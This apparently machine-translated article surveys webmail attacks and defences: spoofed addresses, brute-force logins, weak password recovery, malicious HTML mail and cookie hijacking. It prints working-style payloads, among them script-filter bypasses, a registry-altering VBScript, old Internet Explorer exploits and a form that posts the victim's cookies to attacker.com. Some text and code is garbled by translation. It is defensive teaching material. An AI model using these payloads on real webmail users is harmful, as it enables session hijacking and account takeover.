Summary of webmail Defense Techniques

Webmail is a service or technology that uses Web browsers to send and receive emails. webmail can be used as long as it can access the Internet without using the client, this greatly facilitates sending and receiving emails. Webmail is an indispensable choice for users who are not familiar with the mail client or who are inconvenient to use the mail client in Internet cafes. Email can be the most widely used network service on the Internet today, and Webmail is indispensable.

Improper use or poor development of the Webmail system may cause more security threats to the use of webmail. Similarly, as an important part of today's email system, webmail security cannot be ignored.

1. Email Address Spoofing

Email Address Spoofing is very simple and easy. Attackers can obtain a similar email name for users' email addresses, in the webmail mailbox configuration, set "sender name" to the same sender name as the user (Some webmail systems do not provide this function), and then impersonate the user to send an email, when others receive an email, they often do not perform a careful check on the email address and top-level email information. The sender's name and email content cannot be used to identify the difference, attackers can cheat the system. For example, if a user's email name is Wolfe, attackers can use similar email names such as w0lfe, wo1fe, wolve, and woolfe to cheat. Although free lunch is getting harder and harder to eat, many users still use free email. Through registration application, attackers can easily get similar email addresses.

People usually think that the reply address of an email is its sender address. Otherwise, the sender address and reply address can be clearly defined in RFC 822, users familiar with the email client will also understand this. When configuring account attributes or writing emails, you can specify a different reply address than the sender address. When receiving an email, the user checks whether the sender address is real, but does not check the reply address carefully. Therefore, if you use SMTP spoofing, the sender address is the email address of the user to be attacked, and the reply address is the attacker's own email address, which will be more deceptive, trick others into sending emails to the attacker's email address.

The so-called heart of the victim cannot exist, and the heart of the Defender cannot be lost. In view of the ease of implementation and danger of email address spoofing, we have to be careful from time to avoid being cheated. For the Webmail system, it provides service technologies such as checking the mail Information header content and SMTP authentication (if the mail system supports SMTP, it is necessary to minimize the harm caused by email address spoofing. For mail users, it is very important to carefully check the sender's email address, Sender's IP address, reply address, and other mail Information header content.

Ii. webmail brute-force cracking

The interaction between the client and the server on the internet is basically transferred to the server by submitting forms on the client.Program(Such as CGI and Asp). This is the case for webmail password verification. After the user enters the account name, password, and other information in the form element of the browser, the server verifies it. If it is correct, you are welcome to enter your webmail page. Otherwise, an error page is returned to the client.

Therefore, attackers constantly use different passwords to log on using some hacking tools. By comparing the similarities and differences on the returned page, they can determine whether the email password is successfully cracked. There are many tools to help attackers perform such brute-force cracking attacks, such as wwwhack and Xiao Rong's Xiaoxue. In particular, Xiaoxue has the most powerful functions and is already a fully functional browser, analyze and extract forms on the page, attach a dictionary file to the corresponding form elements, and then judge whether the cracking is successful based on the error mark returned after the form is submitted.

Of course, we can also see that web detectors such as qingxue can detect not only webmail passwords, all accounts and passwords used to verify Logon Through forms, such as forums and chat rooms, can be detected.

Many webmail systems have taken corresponding preventive measures for brute-force webmail cracking. If an account has been mistakenly logged on multiple times in a short period of time, the account is considered to have been cracked by brute force. There are generally three preventive measures:

1. disable accounts: Prohibit accounts under brute-force cracking from logging on for a period of time, which is generally 5 to 10 minutes. However, if attackers attempt brute-force cracking, this account has been disabled and cannot log on. As a result, real users cannot access their mailboxes, resulting in DoS attacks.

2. IP address prohibited: Disable the IP address for brute-force cracking for a period of time and cannot use webmail. This solves the problem caused by "disabling accounts" to some extent, but the bigger problem is that, this will inevitably prevent Internet users who share the same IP address in Internet cafes, companies, schools, and even some man networks from using this webmail. If attackers use multiple proxy address rounds and even distributed cracking attacks, it is difficult to prevent "prohibit IP addresses.

3. logon check: this measure is generally used in combination with the preceding two preventive measures. When Logon is prohibited, the page returned to the client contains a random check string, the user can log on only when the user correctly enters the string in the corresponding input box, which can effectively avoid the negative impact of the above two preventive measures. However, attackers still have the opportunity to extract the validation string from the returned page by developing corresponding tools, and then submit the validation string as the form Element value, then it can form an effective webmail brute-force cracking. If the check string is contained in the image and the image file name is randomly generated, it is difficult for attackers to develop corresponding tools for brute force cracking, yahoo Mail is an outstanding example.

Although webmail brute-force cracking has many preventive measures, it is still difficult to avoid completely. If the Webmail system regards five wrong logins within one minute as brute-force cracking, then the attacker will only perform four logon attempts within one minute. Therefore, the prevention of webmail brute-force cracking mainly relies on users to adopt good password policies, such as complex passwords, not the same as other passwords, and regular password changes, it is difficult for attackers to crack the attack.

Iii. Mailbox password recovery

It is inevitable that a user will lose his or her email password. In order to allow the user to retrieve the password and continue using his or her own mailbox, most webmail systems will provide the user with a mailbox password restoration mechanism, allowing the user to answer a series of questions, if the answer is correct, the user will be asked to restore the password of his/her mailbox. However, if the password recovery mechanism is not reasonable and secure, attackers can exploit it to easily obtain others' Email passwords. The following are the password recovery steps adopted by the password recovery mechanism of many webmail systems. Only when the user answers the correct answers to the questions in each step will the next step be taken. Otherwise, the error page will be returned for each step, attackers have the following opportunities:

Step 1: Enter the account: after entering the password recovery page, the user is first prompted to enter the email account for password recovery. This step is not a problem for the attacker. The email account is the target of the attack.

Step 2: enter your birthday: prompt you to enter your birthday by year, month, or day. This step is also very easy for attackers, and the combination of year, month, and day is very small. With tools such as qingxue, the system can quickly crack the problem. Therefore, it is necessary for the Webmail system to take preventive measures against brute-force cracking. In addition, each user must note that the attacker may not come from the other end of the earth, but may be the people around you. Maybe these people want to know the secrets in your mailbox, but they need to find out that your birthday is often a breeze. Didn't you have a birthday party yesterday? Didn't you just hand over a copy of your ID card to the personnel department? Therefore, for mailbox security, do users need to use real birthdays as email registration information, and do users need to enter real birthdays as registration information in the Webmail system? This remains to be considered.

Step 3: Answer the question: Ask the user to answer the question you have set. The answer is also the one you have set. In this step, attackers often only rely on guesses. Unfortunately, many users' questions and answers are so simple that they can easily guess, for example, the question is only a knowledgeable question, and the question is the same as the answer. Attackers are more familiar with users and more likely to succeed. For example, if a user asks "Where is your boyfriend?", the attacker is her boyfriend. Therefore, it is critical for a user to set a question as the answer he or she knows, so that the attacker is difficult to succeed. However, do not forget the answer; otherwise, the loss will be worth the candle.

After the preceding steps are completed correctly, the Webmail system will allow the user to restore the password of his/her email account. Password recovery methods are different. Generally, there are several methods with different security levels:

1. Return to the page: the user's email password is displayed on the returned page. This makes it easy and easy to handle. However, if attackers get a password, they can use the user's mailbox without disturbing the user, so that attackers can monitor users' mailbox usage for a long time, it brings more security risks to users.

2. Email sending: Send the password to another email address registered during user registration. For attackers who have been busy for a long time, they still get nothing, unless they continue to attack another mailbox. for users, receiving a password from another mailbox is a warning, it indicates that an attacker guessed that his email password was prompted, and forced the user to change his password as soon as possible.

However, if the user is not registered with a correct email address or the email address has expired, it is not only an attacker, but the user will never get the password. Some webmail systems require users to register the correct email address during registration, and send the verification information activated by the mailbox to this email address, however, this still does not prevent users from restoring their mailbox passwords after the mailbox becomes invalid.

3. Password resetting: Ask the user to reset a password. Compared with the "Page return" method, after the attacker resets the password, the user is unable to log on to his or her mailbox and can detect the attack, which is more secure; however, compared with the "email sending" method, the attacker can modify the email password immediately, with a lower level of security.

The password returned by "Page return" or "email" clearly shows that the email system keeps the password of the email account in the database or LDAP server without encryption. This poses a great security risk. Webmail system administrators or database intrusion attackers can easily obtain users' email passwords without knowing them. Therefore, in order to increase confidentiality, it is necessary to encrypt the mailbox password and then store it in the database as the ciphertext. It is best to use irreversible one-way encryption.Algorithm, Such as MD5.

Whether the mailbox password recovery mechanism is secure depends on the question raised by the Webmail System and the question-and-answer method. For example, you can put forward the questions raised in multiple password recovery steps in one step, this will increase the difficulty of attackers to improve security. Sohu mail, Sina mail, Yahoo Mail, and so on are some disappointing examples.

4. malicious HTML mail

There are two formats for Email: plain text (txt) and plain text (HTML ). HTML emails are written in the HTML language. When you log on to Webmail via an HTML-supported email client or log on to Webmail via a browser, fonts, colors, links, images, and sounds are displayed, many spam advertisements are sent in HTML mail format.

Attackers can use HTML emails to cheat emails or even cheat users to change their email passwords. For example, by analyzing the form elements on the webmail password modification page, attackers can design an HTML page that contains the same form and assign values to the "new password" form elements in advance, then, an HTML email is sent to the user, deceiving the user to submit a form or click a link on the page to open a wonderful webpage, when you open the "Wonderful web page", a form request for modifying the email password has been sent to the Webmail system, which is completely unknown until you cannot log on to your mailbox the next time.

In order to prevent such HTML email spoofing, it is necessary for the Webmail system to allow the user to enter the old password for confirmation when modifying the mailbox configuration, especially when modifying the mailbox password and prompting a problem, this can also effectively prevent attackers from loading the current webmail session (as described below) to change the mailbox password.

Attackers can also perform many damage attacks by embedding malicious scripts in HTML emails, such as modifying the registry and performing illegal operations.CompositionFile, format the hard disk, consume system resources, modify the "Start" menu, and even delete and send users' emails, access users' address book, and change the email account password. Malicious scripting programs are generally written in Javascript or VBScript language. They are embedded in the HTML language and use ActiveX controls or wsh to destroy attacks. Those who suffer from the pain of modifying the browser's vicious HTML page and suffering from the "Happy Time" email virus should not be unfamiliar with this. The following are two simple malicious script programs:

1. open countless browser windows until the CPU is overloaded and cannot be shut down:

<Script language = "JavaScript">

<! --
While (true)
{
Window. Open ("Uri"); // If the URI is the current page, it is more destructive.
}
// -->

</SCRIPT>

2. Modify the registry:

<Script language = "VBScript">
Set regwsh = Createobject ("wscript. Shell ")
'Set the IE browser hosts page
Regwsh. regwrite "hkcu \ Software \ Microsoft \ Internet Explorer \ main \ Start page", "http://www.attacker.com"
</SCRIPT>

In view of the potential danger of the script program, it is absolutely necessary for the Webmail system to prohibit the script program in HTML mail. The basic way to prohibit the script program is to filter out the HTML source program that can enable the script program to run.Code, Such as the script element, Hotmail is the best in this aspect. Below are some common methods to bypass script filtering. Many webmail systems have not completely corrected them:

(1) In the HTML language, in addition to the script programs introduced in or within the script element, which can be run during loading on the HTML page, the script program can also be called using event properties to run the program, the event property is called an event handle in Javascript language. It is used to respond to a specific event (such as mouse clicking and form submission) on the page and drive the Javascript program to run. Its syntax is as follows:

<Tag attribute1 attribute2 oneventname = "JavaScript code;">

For example:

<Body onload = "alert ('javascript #1 is executed');">
<A href = "#" onclick = "alert ('javascript #2 is executed');"> click here </a>
<Form method = "Post" Action = "#" onsubmit = "alert ('javascript #3 is executed');">
<Input type = "Submit" value = "Submit">
</Form>
</Body>

(2) uri (Universal Resource Identifier: Universal Resource Identifier) is used to locate each available resource on the Internet, such as HTML documents, images, and sounds. The browser calls the corresponding program to operate the resource based on the URI scheme. If the resource type of the URI attribute value of some elements is set to Javascript, the Javascript program can be called to run the program. The syntax is as follows. Note that ";" is used to separate different JavaScript statements:

<Tag attribute = "javascript: javascript-code;">

For example:

<Body background = "javascript: Alert ('javascript #1 is executed');">
<A href = "javascript: Alert ('javascript #2 is executed');"> click here </a>
<Form method = "Post" Action = "javascript: Alert ('javascript #3 is executed');">
<Input type = "Submit" value = "Submit">
</Form>

</Body>

(3) due to software and hardware or other reasons, some uncommon or special characters cannot be entered or correctly displayed on the HTML page. To solve this problem, SGML character reference can be used in HTML. Character reference is an independent encoding mechanism used to specify any character in the character set of a document. It starts with "&" and ends. Character reference can be expressed in two ways: digit character reference and entity character reference. The numeric character reference syntax is "& # D;" (D represents a decimal number), or "& # XH;", "& # XH; "(h indicates a hexadecimal number), for example," A; "," & # x41; "indicates the letter" A "," Water; "," & # x6c34; "indicates the Chinese character" water ".

Attackers can replace some characters in HTML statements with numeric characters for reference, so that the Webmail system can filter scripts. Note that elements and attributes cannot be represented by character references. For example:

<Body>

<A href = "& # x6a; AV & # x41; SC; ript & # x3a; ale & # x72; t ('javascript #2
& # X69; & # x73 executed') "> click her & # X65; </a>
<Form method = "Post" Action = "javascript: Alert ('javascript #3 is
Executed') ">
<Input type = "& # x53; ubmit" value = "Submit">
</Form>
</Body>

(4) A style sheet (CSS: Cascading Style Sheet) is short for controlling, enhancing, or unifying styles (such as fonts and colors) on a webpage ), it separates the style information from the webpage content. In the HTML style label, you can use @ import to declare the input of a style table. However, if the input resource type or content is JavaScript, the Internet Explorer will still execute.

Example: <style type = "text/CSS">
<! --
@ Import URL (javascript: Alert ('javascript #1 is executed '));
@ Import URL (http://www.attacker.com/js.css );
-->
</Style>

The content of http://www.attacker.com/js.cssis shown below:

@ Import URL (javascript: Alert ('javascript #2 is executed '));
@ Import URL (javascript: eval (string. fromcharcode
(97,108,101,114,116, 84,101,115,116,
108,101,114,116, 84,101,115,116, 59 )));

Attackers can bypass the Webmail system to filter scripts, for example, someone once found that changing the "<SCRIPT>" label to "<_ A <SCRIPT>" and "<SCRIPT>" can bypass Yahoo mail filtering, this vulnerability Yahoo was recently corrected.

In addition to embedding scripts in HTML emails, attackers can also design HTML code to introduce another HTML file when opening HTML emails, this file contains vicious code, which not only directly bypasses the Webmail system's filtering of script programs, but also effectively avoids the virus-proof mail system's scanning and removal of vicious code. Below are several examples of calling HTML files:
(1) Refresh to another page:

<Body>
<Meta http-equiv = "refresh" content = "1; url = http://www.attacker.com/another.htm">
</Body>

(2) IFRAME introduces another page:

<Body>
<IFRAME src = "http://www.attacker.com/import.htm" frameborder = "0"> </iframe>
</Body>

(3) scriptlet introduces another page:

<Body>
<Object type = "text/X-scriptlet" Data = "http://www.attacker.com/import.htm"> </Object>
</Body>

Attackers can also use the following methods to make HTML emails with malicious code more concealed:

(1) With the email spoofing technology, the user will not doubt the emails received, and the attacker can also hide his or her whereabouts.

(2) design HTML emails as TXT emails.

(3) Sometimes the vicious code in HTML mail can be put in a hidden layer, and no changes can be seen on the surface.

To address the impact of malicious script programs, we recommend that you improve the security level of your browser, such as disabling ActiveX and disabling scripts. However, this is not a good solution, this will affect users' browsing of other normal HTML pages. Even if the browser reaches the highest level, it still does not help some malicious code. The following is a vulnerability discovered by an Israeli security expert, which allows Windows to automatically execute any local program, even if Internet Explorer has disabled ActiveX and script programs:

<Span datasrc = "# oexec" dataworks = "exploit" dataformatas = "html"> </span>

<XML id = "oexec">
<Security>
<Exploit>
<! [CDATA [
<Object ID = "ofile" classid = "CLSID: 11111111-1111-1111-
111111111111 "codebase =" C:/winnt/system32/calc.exe "> </Object>
]>
</Exploit>
</Security>
</XML>

In the face of vicious HTML emails, webmail systems and users do not seem to have a good solution. Although many webmail systems have been able to filter out many vicious codes in HTML emails, unfortunately, it is not easy for attackers to thoroughly filter out vicious code. Attackers can exploit the Webmail system's filtering mechanism and browser vulnerabilities to find a way to bypass various filters, what the Webmail system can do is to discover a vulnerability and supplement the vulnerability.

To reduce or even avoid the impact of malicious HTML mail, before opening an HTML mail, the Webmail system should remind users that this is an HTML mail. If the function allows users to browse HTML mail in text mode, it is best. Before opening an unknown email, you should be cautious. It is best to save the HTML email as the target to the local hard disk before opening it. If you can view the HTML email firstSource codeIs the best.

In addition, it should be noted that, although some email systems will filter the malicious code in HTML emails on the Webmail system, they will not filter on the POP3 server. Therefore, if you receive emails through the mail client, you still need to guard against the dangers of malicious HTML emails.

5. Cookie Session attacks

After a user logs on to Webmail with his/her own email account and password, it will be annoying if the user enters the password for each step. Therefore, it is necessary for the Webmail system to track user sessions. The Webmail system uses two kinds of session tracking technologies: Cookie Session tracking and URL session tracking.

Cookie is the text information stored by the web server in the user's browser. It can contain the user name, special ID, number of visits, and other information. Generally, this information is used to identify different users who access the same web server, each time a browser accesses the same Web server, it sends a message to track the interaction between a specific client or browser and the web server.

There are two types of COOKIE: persistent and temporary. Persistent cookies are stored on hard disks in text format and accessed by browsers. Webmail systems that use persistent Cookie Session tracking include Hotmail and Yahoo Mail (optional. A temporary cookie is also called a session cookie. It is stored in the memory and stored only for the conversation of the current browser. When the current browser is closed, it will disappear immediately, session objects used in development programs such as ASP and PhP4 generate temporary cookies. The temporary Cookie Session tracking webmail systems include fm365 and Yiyou.

If attackers can obtain the cookie information of users' webmail, they can easily intrude into users' webmail. How can attackers obtain the cookie information of webmail? If an attacker installs a Trojan on a user's computer or can sniff and listen to the user on the network line, obtaining the cookie information is naturally not a problem, however, this is not the significance of our discussion, because it can all be done in this way, why bother getting cookie information and getting the mailbox password directly.

If the Webmail system has a cross-site scripting vulnerability, attackers can fool users to easily obtain cookie information. Although many websites have this vulnerability, however, this vulnerability is rare in WebMail systems.

HTML emails containing malicious scripts allow attackers to obtain the cookie information of webmail. The script program in HTML mail first extracts the cookie information of the current webmail, then assigns it to a form element, and then automatically submits the form to the attacker, so that the attacker can obtain the cookie session information. The following is a demo program:

<Body>
<Form method = "Post" Action = "http://attacker.com/getcookie.cgi" name = "myform">
<Input name = "session" type = "hidden">
</Form>

<Script language = "JavaScript">
VaR cookie = (documents. Cookie );
Alert (cookie); // This statement is used to display the current cookie information. Of course, the attacker will not.
Document. myform. session. value = cookie;
Document. myform. Submit ();
</SCRIPT>

Getcookie. cgi is a CGI program placed on the attacker's Web server. It is used to obtain the cookie information submitted by the form and record or notify the attacker. Of course, attackers will design HTML emails and getcookie. cgi programs to be more concealed and deceptive, making it difficult for users to detect.

Generally, the browser saves cookie information based on the domain name of the Web server, and only sends the cookie information to the Web server of the same domain name. However, the browser vulnerability creates an opportunity for attackers to obtain cookie information for different domain names. Internet Explorer, Netscape, Mozilla, and other widely used browsers all have such vulnerabilities. The following are examples of cookie information leakage in Internet Explorer browsers (for ie5.0, ie5.5, or ie6.0:

(1) The object element in HTML language is used to embed external objects in the current page. However, improper processing of the object element attribute in Internet Explorer may cause cookie information in any domain to be leaked, the Demo code is as follows:

<Object ID = "data" Data = "empty.html" type = "text/html"> </Object>
<SCRIPT>
VaR ref = Document. getelementbyid ("data"). object;
Ref. Location. href = "http://www.anydomain.com ";
SetTimeout ("alert (ref. Cookie)", 5000 );
</SCRIPT>

(2) Internet Explorer's "about" protocol allows a specially crafted URL request to display or modify cookie information for any domain, for example (the following code is the same line ):

About: // www.anydomain.com/<script language = JavaScript> alert (events. Cookie); </SCRIPT>

(3) The Internet Explorer will mistakenly treat the host name before the "% 20" (URL encoded by space character) string in the URL as the domain where the cookie information is located and send it out. Assume that the attacker has a domain name "attacker.com". The attacker makes it a wildcard domain name resolution, that is, pointing "* .attacker.com" to the IP address of the attacker's Web server, any sub-domain name or host name under "attacker.com" will be resolved to this IP address. After the user submits a URL similar to the following, the browser will send the cookie information of the "anydomain.com" domain name to the attacker:

Http://anydomain.com % unzip attacker.com/getcookie.cgi

If attackers want to obtain the temporary cookie information of webmail, they will write the corresponding code in the HTML mail. This code is automatically executed when the user browses the mail, this allows attackers to obtain temporary cookie information in the current browser, send the URL used to obtain cookie information to users, and trick users into opening the URL. In this way, attackers can also obtain temporary cookie information.

After attackers obtain the cookie information, if the cookie information contains sensitive information such as passwords, attackers can easily intrude into users' mailboxes, even though Hotmail and other webmail systems have experienced such a situation, however, the Webmail system with Cookie Information Leakage sensitive information is rare.

After attackers obtain the cookie information, they also need to allow the cookie information to be accessed by the browser to establish a session with the Webmail system so as to intrude into the user's webmail. If the cookie information is persistent, all Attackers need to do is copy the information to their own cookie files, and the browser can access the cookie information to establish a session with the Webmail system, however, temporary cookie information is stored in the memory, which is not easy for the browser to access.

To allow the browser to access the temporary cookie information, attackers can edit the cookie information in the memory or modify the open source code browser so that the browser can edit the cookie information. However, this is not a simple method, A simple method is to use the Achilles Program (downloaded from the packetstormsecurity.org website ). Achilles is an HTTP Proxy server that can load the http session information between the browser and the Web server, and can edit the http session and temporary cookie information before the proxy forwards data.

Webmail systems should avoid using persistent Cookie Session tracking, so that attackers cannot easily exploit Cookie Session attacks. To prevent Cookie Session attacks, you can take the following measures to enhance security:

(1) set the cookie security level of the browser to block all cookies or only accept cookies from certain domains.

(2) Use cookie management tools to enhance system cookie security, such as Cookie pal and burnt cookies.

(3) patch the browser in time to prevent cookie information leakage.